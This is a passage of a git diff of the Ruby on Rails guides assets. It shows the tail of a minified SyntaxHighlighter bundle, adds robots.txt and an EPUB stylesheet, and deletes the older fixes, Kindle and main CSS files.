class="'+o+' spaces">'+g+"</code>":"")+c)}return e},getTitleHtml:function(e){return e?"<caption>"+e+"</caption>":""},getMatchesHtml:function(e,t){function n(e){var t=e?e.brushName||c:c;return t?t+" ":""}var r,i,a,s,o=this,l=0,u="",c=o.opts.brush||"";for(a=0,s=t.length;s>a;a++)r=t[a],null!==r&&0!==r.length&&(i=n(r),u+=o.wrapLinesWithCode(e.substr(l,r.index-l),i+"plain")+o.wrapLinesWithCode(r.value,i+r.css),l=r.index+r.length+(r.offset||0));return u+=o.wrapLinesWithCode(e.substr(l),n()+"plain")},getHtml:function(){var e,t,n,r=this,i=r.opts,a=r.code,s=r.matches,o=["syntaxhighlighter"];return i.collapse===!0&&o.push("collapsed"),t=i.gutter!==!1,t||o.push("nogutter"),o.push(i.className),o.push(i.brush),t&&(e=r.figureOutLineNumbers(a)),n=r.getMatchesHtml(a,s),n=r.getCodeLinesHtml(n,e),i.autoLinks&&(n=r.processUrls(n)),n='\n      <div class="'+o.join(" ")+'">\n        <table border="0" cellpadding="0" cellspacing="0">\n          '+r.getTitleHtml(i.title)+"\n          <tbody>\n            <tr>\n              "+(t?'<td class="gutter">'+r.renderLineNumbers(a)+"</td>":"")+'\n              <td class="code">\n                <div class="container">'+n+"</div>\n              </td>\n            </tr>\n          </tbody>\n        </table>\n      </div>\n    "}}},function(e,t){"use strict";function n(e){return e.split(/\r?\n/)}function r(e,t){for(var r=n(e),i=0,a=r.length;a>i;i++)r[i]=t(r[i],i);return r.join("\n")}function i(e){return(e||"")+Math.round(1e6*Math.random()).toString()}function a(e,t){var n,r={};for(n in e)r[n]=e[n];for(n in t)r[n]=t[n];return r}function s(e){return e.replace(/^\s+|\s+$/g,"")}function o(e){return Array.prototype.slice.apply(e)}function l(e){var t={"true":!0,"false":!1}[e];return null==t?e:t}e.exports={splitLines:n,eachLine:r,guid:i,merge:a,trim:s,toArray:o,toBoolean:l}},function(e,t,n){"use strict";var r=n(12),i=n(13),a=n(14),s=n(15),o=n(16);e.exports=function(e,t){e=r(e,t),e=i(e,t),e=a(e,t),e=s.unindent(e,t);var n=t["tab-size"];return e=t["smart-tabs"]===!0?o.smart(e,n):o.regular(e,n)}},function(e,t){"use strict";e.exports=function(e,t){return e.replace(/^[ ]*[\n]+|[\n]*[ ]*$/g,"").replace(/\r/g," ")}},function(e,t){"use strict";e.exports=function(e,t){var n=/<br\s*\/?>|&lt;br\s*\/?&gt;/gi;return t.bloggerMode===!0&&(e=e.replace(n,"\n")),e}},function(e,t){"use strict";e.exports=function(e,t){var n=/<br\s*\/?>|&lt;br\s*\/?&gt;/gi;return t.stripBrs===!0&&(e=e.replace(n,"")),e}},function(e,t){"use strict";function n(e){return/^\s*$/.test(e)}e.exports={unindent:function(e){var t,r,i,a,s=e.split(/\r?\n/),o=/^\s*/,l=1e3;for(i=0,a=s.length;a>i&&l>0;i++)if(t=s[i],!n(t)){if(r=o.exec(t),null==r)return e;l=Math.min(r[0].length,l)}if(l>0)for(i=0,a=s.length;a>i;i++)n(s[i])||(s[i]=s[i].substr(l));return s.join("\n")}}},function(e,t){"use strict";function n(e,t,n){return e.substr(0,t)+r.substr(0,n)+e.substr(t+1,e.length)}for(var r="",i=0;50>i;i++)r+="                    ";e.exports={smart:function(e,t){var r,i,a,s,o=e.split(/\r?\n/),l="	";for(a=0,s=o.length;s>a;a++)if(r=o[a],-1!==r.indexOf(l)){for(i=0;-1!==(i=r.indexOf(l));)r=n(r,i,t-i%t);o[a]=r}return o.join("\n")},regular:function(e,t){return e.replace(/\t/g,r.substr(0,t))}}},function(e,t){"use strict";function n(){for(var e=document.getElementsByTagName("script"),t=[],n=0;n<e.length;n++)("text/syntaxhighlighter"==e[n].type||"syntaxhighlighter"==e[n].type)&&t.push(e[n]);return t}function r(e,t){return-1!=e.className.indexOf(t)}function i(e,t){r(e,t)||(e.className+=" "+t)}function a(e,t){e.className=e.className.replace(t,"")}function s(e,t,n,r){function i(e){e=e||window.event,e.target||(e.target=e.srcElement,e.preventDefault=function(){this.returnValue=!1}),n.call(r||window,e)}e.attachEvent?e.attachEvent("on"+t,i):e.addEventListener(t,i,!1)}function o(e,t,n){if(null==e)return null;var r,i,a=1!=n?e.childNodes:[e.parentNode],s={"#":"id",".":"className"}[t.substr(0,1)]||"nodeName";if(r="nodeName"!=s?t.substr(1):t.toUpperCase(),-1!=(e[s]||"").indexOf(r))return e;for(var l=0,u=a.length;a&&u>l&&null==i;l++)i=o(a[l],t,n);return i}function l(e,t){return o(e,t,!0)}function u(e,t,n,r,i){var a=(screen.width-n)/2,s=(screen.height-r)/2;i+=", left="+a+", top="+s+", width="+n+", height="+r,i=i.replace(/^,/,"");var o=window.open(e,t,i);return o.focus(),o}function c(e){return document.getElementsByTagName(e)}function f(e){var t,n,r=c(e.tagName);if(e.useScriptTags)for(t=c("script"),n=0;n<t.length;n++)t[n].type.match(/^(text\/)?syntaxhighlighter$/)&&r.push(t[n]);return r}function g(e){return document.createElement(e)}function p(e){var t=e.target,n=l(t,".syntaxhighlighter"),r=l(t,".container"),u=document.createElement("textarea");if(r&&n&&!o(r,"textarea")){i(n,"source");for(var c=r.childNodes,f=[],g=0,p=c.length;p>g;g++)f.push(c[g].innerText||c[g].textContent);f=f.join("\r"),f=f.replace(/\u00a0/g," "),u.readOnly=!0,u.appendChild(document.createTextNode(f)),r.appendChild(u),u.focus(),u.select(),s(u,"blur",function(e){u.parentNode.removeChild(u),a(n,"source")})}}e.exports={quickCodeHandler:p,create:g,popup:u,hasClass:r,addClass:i,removeClass:a,attachEvent:s,findElement:o,findParentElement:l,getSyntaxHighlighterScriptTags:n,findElementsToHighlight:f}},function(e,t){"use strict";e.exports={space:"&nbsp;",useScriptTags:!0,bloggerMode:!1,stripBrs:!1,tagName:"pre"}},function(e,t){"use strict";e.exports={"class-name":"","first-line":1,"pad-line-numbers":!1,highlight:null,title:null,"smart-tabs":!0,"tab-size":4,gutter:!0,"quick-code":!0,collapse:!1,"auto-links":!0,unindent:!0,"html-script":!1}},function(e,t,n){(function(t){"use strict";function r(e,t){function n(e,t){for(var n=0,r=e.length;r>n;n++)e[n].index+=t}function r(e,r){function s(e){u=u.concat(e)}var o,l=e.code,u=[],c=a.regexList,f=e.index+e.left.length,g=a.htmlScript;o=i(l,c),n(o,f),s(o),null!=g.left&&null!=e.left&&(o=i(e.left,[g.left]),n(o,e.index),s(o)),null!=g.right&&null!=e.right&&(o=i(e.right,[g.right]),n(o,e.index+e[0].lastIndexOf(e.right)),s(o));for(var p=0,d=u.length;d>p;p++)u[p].brushName=t.brushName;return u}var a,s=new e;if(null!=t){if(a=new t,null==a.htmlScript)throw new Error("Brush wasn't configured for html-script option: "+t.brushName);s.regexList.push({regex:a.htmlScript.code,func:r}),this.regexList=s.regexList}}var i=n(5).applyRegexList;e.exports=r}).call(t,n(21))},function(e,t){"use strict";function n(){f&&u&&(f=!1,u.length?c=u.concat(c):g=-1,c.length&&r())}function r(){if(!f){var e=s(n);f=!0;for(var t=c.length;t;){for(u=c,c=[];++g<t;)u&&u[g].run();g=-1,t=c.length}u=null,f=!1,o(e)}}function i(e,t){this.fun=e,this.array=t}function a(){}var s,o,l=e.exports={};!function(){try{s=setTimeout}catch(e){s=function(){throw new Error("setTimeout is not defined")}}try{o=clearTimeout}catch(e){o=function(){throw new Error("clearTimeout is not defined")}}}();var u,c=[],f=!1,g=-1;l.nextTick=function(e){var t=new Array(arguments.length-1);if(arguments.length>1)for(var n=1;n<arguments.length;n++)t[n-1]=arguments[n];c.push(new i(e,t)),1!==c.length||f||s(r,0)},i.prototype.run=function(){this.fun.apply(null,this.array)},l.title="browser",l.browser=!0,l.env={},l.argv=[],l.version="",l.versions={},l.on=a,l.addListener=a,l.once=a,l.off=a,l.removeListener=a,l.removeAllListeners=a,l.emit=a,l.binding=function(e){throw new Error("process.binding is not supported")},l.cwd=function(){return"/"},l.chdir=function(e){throw new Error("process.chdir is not supported")},l.umask=function(){return 0}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var a=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),s=n(9),o=r(s),l=n(3),u=n(5);e.exports=function(){function e(){i(this,e)}return a(e,[{key:"getKeywords",value:function(e){var t=e.replace(/^\s+|\s+$/g,"").replace(/\s+/g,"|");return"\\b(?:"+t+")\\b"}},{key:"forHtmlScript",value:function(e){var t={end:e.right.source};e.eof&&(t.end="(?:(?:"+t.end+")|$)"),this.htmlScript={left:{regex:e.left,css:"script"},right:{regex:e.right,css:"script"},code:(0,l.XRegExp)("(?<left>"+e.left.source+")(?<code>.*?)(?<right>"+t.end+")","sgi")}}},{key:"getHtml",value:function(e){var t=arguments.length<=1||void 0===arguments[1]?{}:arguments[1],n=(0,u.applyRegexList)(e,this.regexList),r=new o["default"](e,n,t);return r.getHtml()}}]),e}()},function(e,t,n){"use strict";function r(){var e="break case catch class continue default delete do else enum export extends false  for from as function if implements import in instanceof interface let new null package private protected static return super switch this throw true try typeof var while with yield";this.regexList=[{regex:a.multiLineDoubleQuotedString,css:"string"},{regex:a.multiLineSingleQuotedString,css:"string"},{regex:a.singleLineCComments,css:"comments"},{regex:a.multiLineCComments,css:"comments"},{regex:/\s*#.*/gm,css:"preprocessor"},{regex:new RegExp(this.getKeywords(e),"gm"),css:"keyword"}],this.forHtmlScript(a.scriptScriptTags)}var i=n(22),a=n(3).commonRegExp;r.prototype=new i,r.aliases=["js","jscript","javascript","json"],e.exports=r},function(e,t,n){"use strict";function r(){var e="alias and BEGIN begin break case class def define_method defined do each else elsif END end ensure false for if in module new next nil not or raise redo rescue retry return self super then throw true undef unless until when while yield",t="Array Bignum Binding Class Continuation Dir Exception FalseClass File::Stat File Fixnum Fload Hash Integer IO MatchData Method Module NilClass Numeric Object Proc Range Regexp String Struct::TMS Symbol ThreadGroup Thread Time TrueClass";this.regexList=[{regex:a.singleLinePerlComments,css:"comments"},{regex:a.doubleQuotedString,css:"string"},{regex:a.singleQuotedString,css:"string"},{regex:/\b[A-Z0-9_]+\b/g,css:"constants"},{regex:/:[a-z][A-Za-z0-9_]*/g,css:"color2"},{regex:/(\$|@@|@)\w+/g,css:"variable bold"},{regex:new RegExp(this.getKeywords(e),"gm"),css:"keyword"},{regex:new RegExp(this.getKeywords(t),"gm"),css:"color1"}],this.forHtmlScript(a.aspScriptTags)}var i=n(22),a=n(3).commonRegExp;r.prototype=new i,r.aliases=["ruby","rails","ror","rb"],e.exports=r},function(e,t,n){"use strict";function r(){function e(e,t){var n=e[0],r=s.exec(n,s("(&lt;|<)[\\s\\/\\?!]*(?<name>[:\\w-\\.]+)","xg")),i=[];if(null!=e.attributes)for(var a,l=0,u=s("(?<name> [\\w:.-]+)\\s*=\\s*(?<value> \".*?\"|'.*?'|\\w+)","xg");null!=(a=s.exec(n,u,l));)i.push(new o(a.name,e.index+a.index,"color1")),i.push(new o(a.value,e.index+a.index+a[0].indexOf(a.value),"string")),l=a.index+a[0].length;return null!=r&&i.push(new o(r.name,e.index+r[0].indexOf(r.name),"keyword")),i}this.regexList=[{regex:s("(\\&lt;|<)\\!\\[[\\w\\s]*?\\[(.|\\s)*?\\]\\](\\&gt;|>)","gm"),css:"color2"},{regex:a.xmlComments,css:"comments"},{regex:s("(&lt;|<)[\\s\\/\\?!]*(\\w+)(?<attributes>.*?)[\\s\\/\\?]*(&gt;|>)","sg"),func:e}]}var i=n(22),a=n(3).commonRegExp,s=n(3).XRegExp,o=n(5).Match;r.prototype=new i,r.aliases=["xml","xhtml","xslt","html","plist"],e.exports=r},function(e,t,n){"use strict";function r(){var e="abs avg case cast coalesce convert count current_timestamp current_user day isnull left lower month nullif replace right session_user space substring sum system_user upper user year",t="absolute action add after alter as asc at authorization begin bigint binary bit by cascade char character check checkpoint close collate column commit committed connect connection constraint contains continue create cube current current_date current_time cursor database date deallocate dec decimal declare default delete desc distinct double drop dynamic else end end-exec escape except exec execute false fetch first float for force foreign forward free from full function global goto grant group grouping having hour ignore index inner insensitive insert instead int integer intersect into is isolation key last level load local max min minute modify move name national nchar next no numeric of off on only open option order out output partial password precision prepare primary prior privileges procedure public read real references relative repeatable restrict return returns revoke rollback rollup rows rule schema scroll second section select sequence serializable set size smallint static statistics table temp temporary then time timestamp to top transaction translation trigger true truncate uncommitted union unique update values varchar varying view when where with work",n="all and any between cross in join like not null or outer some";
-  this.regexList=[{regex:/--(.*)$/gm,css:"comments"},{regex:/\/\*([^\*][\s\S]*?)?\*\//gm,css:"comments"},{regex:a.multiLineDoubleQuotedString,css:"string"},{regex:a.multiLineSingleQuotedString,css:"string"},{regex:new RegExp(this.getKeywords(e),"gmi"),css:"color2"},{regex:new RegExp(this.getKeywords(n),"gmi"),css:"color1"},{regex:new RegExp(this.getKeywords(t),"gmi"),css:"keyword"}]}var i=n(22),a=n(3).commonRegExp;r.prototype=new i,r.aliases=["sql"],e.exports=r},function(e,t,n){"use strict";function r(){this.regexList=[]}var i=n(22);n(3).commonRegExp;r.prototype=new i,r.aliases=["text","plain"],e.exports=r},function(e,t,n){"use strict";"function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol?"symbol":typeof e};!function(t,n){e.exports=n()}("domready",function(){var e,t=[],n=document,r=n.documentElement.doScroll,i="DOMContentLoaded",a=(r?/^loaded|^c/:/^loaded|^i|^c/).test(n.readyState);return a||n.addEventListener(i,e=function(){for(n.removeEventListener(i,e),a=1;e=t.shift();)e()}),function(e){a?setTimeout(e,0):t.push(e)}})},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=t.string=function(e){return e.replace(/^([A-Z])/g,function(e,t){return t.toLowerCase()}).replace(/([A-Z])/g,function(e,t){return"-"+t.toLowerCase()})};t.object=function(e){var t={};return Object.keys(e).forEach(function(r){return t[n(r)]=e[r]}),t}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}var i=n(1),a=r(i);window.SyntaxHighlighter=a["default"],"undefined"==typeof window.XRegExp&&(window.XRegExp=n(3).XRegExp)}]);
diff --git a/guides/assets/robots.txt b/guides/assets/robots.txt
new file mode 100644
index 0000000000000..c95502f7c8578
--- /dev/null
+++ b/guides/assets/robots.txt
@@ -0,0 +1,3 @@
+# Allow crawling of all content
+User-agent: *
+Disallow:
diff --git a/guides/assets/stylesheets/epub.css b/guides/assets/stylesheets/epub.css
new file mode 100644
index 0000000000000..aca2a1c12ae01
--- /dev/null
+++ b/guides/assets/stylesheets/epub.css
@@ -0,0 +1,16 @@
+p { text-indent: 0; }
+
+p, H1, H2, H3, H4, H5, H6, H7, H8, table { margin-top: 1em;}
+
+.pagebreak { page-break-before: always; }
+#toc H3 {
+  text-indent: 1em;
+}
+#toc .document {
+  text-indent: 2em;
+}
+
+img {
+  display: block;
+  max-width: 100%;
+}
\ No newline at end of file
diff --git a/guides/assets/stylesheets/fixes.css b/guides/assets/stylesheets/fixes.css
deleted file mode 100644
index bf86b29efacde..0000000000000
--- a/guides/assets/stylesheets/fixes.css
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
-  Fix a rendering issue affecting WebKits on Mac.
-  See https://github.com/lifo/docrails/issues#issue/16 for more information.
-*/
-.syntaxhighlighter a,
-.syntaxhighlighter div,
-.syntaxhighlighter code,
-.syntaxhighlighter table,
-.syntaxhighlighter table td,
-.syntaxhighlighter table tr,
-.syntaxhighlighter table tbody,
-.syntaxhighlighter table thead,
-.syntaxhighlighter table caption,
-.syntaxhighlighter textarea {
-  line-height: 1.25em !important;
-}
diff --git a/guides/assets/stylesheets/kindle.css b/guides/assets/stylesheets/kindle.css
deleted file mode 100644
index b26cd1786a304..0000000000000
--- a/guides/assets/stylesheets/kindle.css
+++ /dev/null
@@ -1,11 +0,0 @@
-p { text-indent: 0; }
-
-p, H1, H2, H3, H4, H5, H6, H7, H8, table { margin-top: 1em;}
-
-.pagebreak { page-break-before: always; }
-#toc H3 {
-  text-indent: 1em;
-}
-#toc .document {
-  text-indent: 2em;
-}
\ No newline at end of file
diff --git a/guides/assets/stylesheets/main.css b/guides/assets/stylesheets/main.css
deleted file mode 100644
index b56699a0d0d85..0000000000000
--- a/guides/assets/stylesheets/main.css
+++ /dev/null
@@ -1,714 +0,0 @@
-/* Guides.rubyonrails.org */
-/* Main.css */
-/* Created January 30, 2009 */
-/* Modified February 8, 2009
---------------------------------------- */
-
-/* General
---------------------------------------- */
-
-.left {float: left; margin-right: 1em;}
-.right {float: right; margin-left: 1em;}
-@media screen and (max-width: 480px) {
-  .left, .right { float: none; }
-}
-.small {font-size: smaller;}
-.large {font-size: larger;}
-.hide {display: none;}
-
-ul, ol { margin: 0 1.5em 1.5em 1.5em; }
-
-ul { list-style-type: disc; }
-ol { list-style-type: decimal; }
-
-dl { margin: 0 0 1.5em 0; }
-dl dt { font-weight: bold; }
-dd { margin-left: 1.5em;}
-
-pre, code {
-  font-size: 1em;
-  font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace;
-  line-height: 1.5;
-  margin: 1.5em 0;
-  overflow: auto;
-  color: #222;
-}
-pre, tt, code {
- white-space: pre-wrap;       /* css-3 */
- white-space: -moz-pre-wrap !important;  /* Mozilla, since 1999 */
- white-space: -pre-wrap;      /* Opera 4-6 */
- white-space: -o-pre-wrap;    /* Opera 7 */
- word-wrap: break-word;       /* Internet Explorer 5.5+ */
-}
-
-abbr, acronym { border-bottom: 1px dotted #666; }
-address { margin: 0 0 1.5em; font-style: italic; }
-del { color:#666; }
-
-blockquote { margin: 1.5em; color: #666; font-style: italic; }
-strong { font-weight: bold; }
-em, dfn { font-style: italic; }
-dfn { font-weight: bold; }
-sup, sub { line-height: 0; }
-p {margin: 0 0 1.5em;}
-
-label { font-weight: bold; }
-fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; }
-legend { font-weight: bold; font-size:1.2em; }
-
-input.text, input.title,
-textarea, select {
-  margin:0.5em 0;
-  border:1px solid #bbb;
-}
-
-table {
-  margin: 0 0 1.5em;
-  border: 2px solid #CCC;
-  background: #FFF;
-  border-collapse: collapse;
-}
-
-table th, table td {
-  padding: 0.25em 1em;
-  border: 1px solid #CCC;
-  border-collapse: collapse;
-}
-
-table th {
-  border-bottom: 2px solid #CCC;
-  background: #EEE;
-  font-weight: bold;
-  padding: 0.5em 1em;
-}
-
-img {
-  max-width: 100%;
-}
-
-
-/* Structure and Layout
---------------------------------------- */
-
-body {
-  text-align: center;
-  font-family: Helvetica, Arial, sans-serif;
-  font-size: 87.5%;
-  line-height: 1.5em;
-  background: #fff;
-  color: #999;
-}
-
-.wrapper {
-  text-align: left;
-  margin: 0 auto;
-  max-width: 960px;
-  padding: 0 1em;
-}
-
-.red-button {
-  display: inline-block;
-  border-top: 1px solid rgba(255,255,255,.5);
-  background: #751913;
-  background: -webkit-gradient(linear, left top, left bottom, from(#c52f24), to(#751913));
-  background: -webkit-linear-gradient(top, #c52f24, #751913);
-  background: -moz-linear-gradient(top, #c52f24, #751913);
-  background: -ms-linear-gradient(top, #c52f24, #751913);
-  background: -o-linear-gradient(top, #c52f24, #751913);
-  padding: 9px 18px;
-  -webkit-border-radius: 11px;
-  -moz-border-radius: 11px;
-  border-radius: 11px;
-  -webkit-box-shadow: rgba(0,0,0,1) 0 1px 0;
-  -moz-box-shadow: rgba(0,0,0,1) 0 1px 0;
-  box-shadow: rgba(0,0,0,1) 0 1px 0;
-  text-shadow: rgba(0,0,0,.4) 0 1px 0;
-  color: white;
-  font-size: 15px;
-  font-family: Helvetica, Arial, Sans-Serif;
-  text-decoration: none;
-  vertical-align: middle;
-  cursor: pointer;
-}
-.red-button:active {
-  border-top: none;
-  padding-top: 10px;
-  background: -webkit-gradient(linear, left top, left bottom, from(#751913), to(#c52f24));
-  background: -webkit-linear-gradient(top, #751913, #c52f24);
-  background: -moz-linear-gradient(top, #751913, #c52f24);
-  background: -ms-linear-gradient(top, #751913, #c52f24);
-  background: -o-linear-gradient(top, #751913, #c52f24);
-}
-
-#topNav {
-  padding: 1em 0;
-  color: #565656;
-  background: #222;
-}
-
-.s-hidden {
-  display: none;
-}
-
-@media screen and (min-width: 1025px) {
-  .more-info-button {
-    display: none;
-  }
-  .more-info-links {
-    list-style: none;
-    display: inline;
-    margin: 0;
-  }
-
-  .more-info {
-    display: inline-block;
-  }
-  .more-info:after {
-    content: " |";
-  }
-
-  .more-info:last-child:after {
-    content: "";
-  }
-}
-
-@media screen and (max-width: 1024px) {
-  #topNav .wrapper { text-align: center; }
-  .more-info-button {
-    position: relative;
-    z-index: 25;
-  }
-
-  .more-info-label {
-    display: none;
-  }
-
-  .more-info-container {
-    position: absolute;
-    top: .5em;
-    z-index: 20;
-    margin: 0 auto;
-    left: 0;
-    right: 0;
-    width: 20em;
-  }
-
-  .more-info-links {
-    display: block;
-    list-style: none;
-    background-color: #c52f24;
-    border-radius: 5px;
-    padding-top: 5.25em;
-    border: 1px #980905 solid;
-  }
-  .more-info-links.s-hidden {
-    display: none;
-  }
-  .more-info {
-    padding: .75em;
-    border-top: 1px #980905 solid;
-  }
-  .more-info a, .more-info a:link, .more-info a:visited {
-    display: block;
-    color: white;
-    width: 100%;
-    height: 100%;
-    text-decoration: none;
-    text-transform: uppercase;
-  }
-}
-
-#header {
-  background: #c52f24 url(../images/header_tile.gif) repeat-x;
-  color: #FFF;
-  padding: 1.5em 0;
-  z-index: 99;
-}
-
-#feature {
-  background: #d5e9f6 url(../images/feature_tile.gif) repeat-x;
-  color: #333;
-  padding: 0.5em 0 1.5em;
-}
-
-#container {
-  color: #333;
-  padding: 0.5em 0 1.5em 0;
-}
-
-#mainCol {
-  max-width: 630px;
-  margin-left: 2em;
-}
-
-#subCol {
-  position: absolute;
-  z-index: 0;
-  top: 21px;
-  right: 0;
-  background: #FFF;
-  padding: 1em 1.5em 1em 1.25em;
-  width: 17em;
-  font-size: 0.9285em;
-  line-height: 1.3846em;
-  margin-right: 1em;
-}
-
-
-@media screen and (max-width: 800px) {
-  #subCol {
-    position: static;
-    width: inherit;
-    margin-left: -1em;
-    margin-right: 0;
-    padding-right: 1.25em;
-  }
-}
-
-#extraCol {display: none;}
-
-#footer {
-  padding: 2em 0;
-  background: #222 url(../images/footer_tile.gif) repeat-x;
-}
-#footer .wrapper {
-  padding-left: 1em;
-  max-width: 960px;
-}
-
-#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; max-width: 960px;}
-#feature .wrapper {max-width: 640px; padding-right: 23em; position: relative; z-index: 0;}
-
-@media screen and (max-width: 800px) {
-  #feature .wrapper { padding-right: 0; }
-}
-
-/* Links
---------------------------------------- */
-
-a, a:link, a:visited {
-  color: #ee3f3f;
-  text-decoration: underline;
-}
-
-#mainCol a, #subCol a, #feature a {color: #980905;}
-#mainCol a code, #subCol a code, #feature a code {color: #980905;}
-
-/* Navigation
---------------------------------------- */
-
-.nav {
-  margin: 0;
-  padding: 0;
-  list-style: none;
-  float: right;
-  margin-top: 1.5em;
-  font-size: 1.2857em;
-}
-
-.nav .nav-item {color: #FFF; text-decoration: none;}
-.nav .nav-item:hover {text-decoration: underline;}
-
-.guides-index-large, .guides-index-small .guides-index-item {
-  padding: 0.5em 1.5em;
-  border-radius: 1em;
-  -webkit-border-radius: 1em;
-  -moz-border-radius: 1em;
-  background: #980905;
-  position: relative;
-  color: white;
-}
-
-.guides-index .guides-index-item {
-  background: #980905 url(../images/nav_arrow.gif) no-repeat right top;
-  padding-right: 1em;
-  position: relative;
-  z-index: 15;
-  padding-bottom: 0.125em;
-}
-
-.guides-index:hover .guides-index-item, .guides-index .guides-index-item:hover {
-  background-position: right -81px;
-  text-decoration: underline !important;
-}
-
-@media screen and (min-width: 481px) {
-  .nav {
-    float: right;
-    margin-top: 1.5em;
-    font-size: 1.2857em;
-  }
-  .nav>li {
-    display: inline;
-    margin-left: 0.5em;
-  }
-  .guides-index.guides-index-small {
-    display: none;
-  }
-}
-
-@media screen and (max-width: 480px) {
-  .nav {
-    float: none;
-    width: 100%;
-    text-align: center;
-  }
-  .nav .nav-item {
-    display: block;
-    margin: 0;
-    width: 100%;
-    background-color: #980905;
-    border: solid 1px #620c04;
-    border-top: 0;
-    padding: 15px 0;
-    text-align: center;
-  }
-  .nav .nav-item, .nav-item.guides-index-item {
-    text-transform: uppercase;
-  }
-  .nav .nav-item:first-child, .nav-item.guides-index-small {
-    border-top: solid 1px #620c04;
-  }
-  .guides-index.guides-index-small {
-    display: block;
-    margin-top: 1.5em;
-  }
-  .guides-index.guides-index-large {
-    display: none;
-  }
-  .guides-index-small .guides-index-item {
-    font: inherit;
-    padding-left: .75em;
-    font-size: .95em;
-    background-position: 96% 16px;
-    -webkit-appearance: none;
-  }
-  .guides-index-small .guides-index-item:hover{
-    background-position: 96% -65px;
-  }
-}
-
-#guides {
-  width: 27em;
-  display: block;
-  background: #980905;
-  border-radius: 1em;
-  -webkit-border-radius: 1em;
-  -moz-border-radius: 1em;
-  -webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25);
-  -moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em;
-  color: #f1938c;
-  padding: 1.5em 2em;
-  position: absolute;
-  z-index: 10;
-  top: -0.25em;
-  right: 0;
-  padding-top: 2em;
-}
-
-#guides dt, #guides dd {
-  font-weight: normal;
-  font-size: 0.722em;
-  margin: 0;
-  padding: 0;
-}
-#guides dt {padding:0; margin: 0.5em 0 0;}
-#guides a {color: #FFF; background: none !important; text-decoration: none;}
-#guides a:hover {text-decoration: underline;}
-#guides .L, #guides .R {float: left; width: 50%; margin: 0; padding: 0;}
-#guides .R {float: right;}
-#guides hr {
-  display: block;
-  border: none;
-  height: 1px;
-  color: #f1938c;
-  background: #f1938c;
-}
-
-/* Headings
---------------------------------------- */
-
-h1 {
-  font-size: 2.5em;
-  line-height: 1em;
-  margin: 0.6em 0 .2em;
-  font-weight: bold;
-}
-
-h2 {
-  font-size: 2.1428em;
-  line-height: 1em;
-  margin: 0.7em 0 .2333em;
-  font-weight: bold;
-}
-
-@media screen and (max-width: 480px) {
-  h2 {
-    font-size: 1.45em;
-  }
-}
-
-h3 {
-  font-size: 1.7142em;
-  line-height: 1.286em;
-  margin: 0.875em 0 0.2916em;
-  font-weight: bold;
-}
-
-@media screen and (max-width: 480px) {
-  h3 {
-    font-size: 1.45em;
-  }
-}
-
-h4 {
-  font-size: 1.2857em;
-  line-height: 1.2em;
-  margin: 1.6667em 0 .3887em;
-  font-weight: bold;
-}
-
-h5 {
-  font-size: 1em;
-  line-height: 1.5em;
-  margin: 1em 0 .5em;
-  font-weight: bold;
-}
-
-h6 {
-  font-size: 1em;
-  line-height: 1.5em;
-  margin: 1em 0 .5em;
-  font-weight: normal;
-}
-
-.section {
-  padding-bottom: 0.25em;
-  border-bottom: 1px solid #999;
-}
-
-/* Content
---------------------------------------- */
-
-.pic {
-  margin: 0 2em 2em 0;
-}
-
-#topNav strong {color: #999; margin-right: 0.5em;}
-#topNav strong a {color: #FFF;}
-
-#header h1 {
-  float: left;
-  background: url(../images/rails_guides_logo.gif) no-repeat;
-  width: 297px;
-  text-indent: -9999em;
-  margin: 0;
-  padding: 0;
-}
-
-@media screen and (max-width: 480px) {
-  #header h1 {
-    float: none;
-  }
-}
-
-#header h1 a {
-  text-decoration: none;
-  display: block;
-  height: 77px;
-}
-
-#feature p {
-  font-size: 1.2857em;
-  margin-bottom: 0.75em;
-}
-
-@media screen and (max-width: 480px) {
-  #feature p {
-    font-size: 1em;
-  }
-}
-
-#feature ul {margin-left: 0;}
-#feature ul li {
-  list-style: none;
-  background: url(../images/check_bullet.gif) no-repeat left 0.5em;
-  padding: 0.5em 1.75em 0.5em 1.75em;
-  font-size: 1.1428em;
-  font-weight: bold;
-}
-
-#mainCol dd, #subCol dd {
-  padding: 0.25em 0 1em;
-  border-bottom: 1px solid #CCC;
-  margin-bottom: 1em;
-  margin-left: 0;
-  /*padding-left: 28px;*/
-  padding-left: 0;
-}
-
-#mainCol dt, #subCol dt {
-  font-size: 1.2857em;
-  padding: 0.125em 0 0.25em 0;
-  margin-bottom: 0;
-  /*background: url(../images/book_icon.gif) no-repeat left top;
-  padding: 0.125em 0 0.25em 28px;*/
-}
-
-@media screen and (max-width: 480px) {
-  #mainCol dt, #subCol dt {
-    font-size: 1em;
-  }
-}
-
-#mainCol dd.work-in-progress, #subCol dd.work-in-progress {
-  background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top;
-  border: none;
-  padding: 1.25em 1em 1.25em 48px;
-  margin-left: 0;
-  margin-top: 0.25em;
-}
-
-#mainCol dd.kindle, #subCol dd.kindle {
-  background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top;
-  border: none;
-  padding: 1.25em 1em 1.25em 48px;
-  margin-left: 0;
-  margin-top: 0.25em;
-}
-
-#mainCol div.warning, #subCol dd.warning {
-  background: #f9d9d8 url(../images/tab_red.gif) no-repeat left top;
-  border: none;
-  padding: 1.25em 1.25em 0.25em 48px;
-  margin-left: 0;
-  margin-top: 0.25em;
-}
-
-#subCol .chapters {color: #980905;}
-#subCol .chapters a {font-weight: bold;}
-#subCol .chapters ul a {font-weight: normal;}
-#subCol .chapters li {margin-bottom: 0.75em;}
-#subCol h3.chapter {margin-top: 0.25em;}
